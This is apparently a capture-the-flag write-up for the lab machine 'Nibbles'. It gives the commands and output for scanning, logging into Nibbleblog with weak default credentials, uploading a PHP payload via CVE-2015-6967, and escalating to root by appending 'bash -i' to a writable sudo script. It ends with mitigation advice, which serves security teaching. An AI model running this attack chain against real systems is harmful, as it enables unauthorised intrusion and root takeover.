Synopsis
Nibbles is a simple Linux box. The web server hosts a hidden Nibbleblog install with weak admin credentials. Nibbleblog 4.0.3 is vulnerable to an arbitrary file upload (CVE-2015-6967) via its image plugin, giving RCE as www-data. Privilege escalation is a textbook writable sudo script running as root.
- IP:
10.10.10.75· OS: Linux (Ubuntu)
Recon
nmap -sC -sV -sT -Pn 10.10.10.75 -oA nmap-scan
# 22 ssh, 80 http (Apache 2.4.18)
The page source hints at a hidden directory — /nibbleblog/. A scan confirms the CMS and its admin panel:
nikto -h http://10.10.10.75/nibbleblog/
# /nibbleblog/admin.php, /nibbleblog/admin/, README (Nibbleblog)
Foothold — Nibbleblog file upload (CVE-2015-6967)
Log into admin.php with the weak credentials (admin:nibbles). The My Image plugin lets an authenticated admin upload arbitrary files — upload a PHP payload and browse to it for RCE:
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php
$ id
uid=33(www-data) gid=33(www-data)
$ cat /home/nibbler/user.txt # flag — redacted
Privilege escalation — writable sudo script
sudo -l shows nibbler can run a script as root with no password — and that script is writable:
sudo -l
# (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
echo 'bash -i' >> /home/nibbler/personal/stuff/monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh
# id -> uid=0(root) -> cat /root/root.txt (flag — redacted)
Takeaways & mitigation
- Don’t expose CMS admin panels with default/weak credentials; patch Nibbleblog (CVE-2015-6967).
- sudo NOPASSWD on a user-writable script = instant root — scripts run via sudo must be root-owned and non-writable by the caller.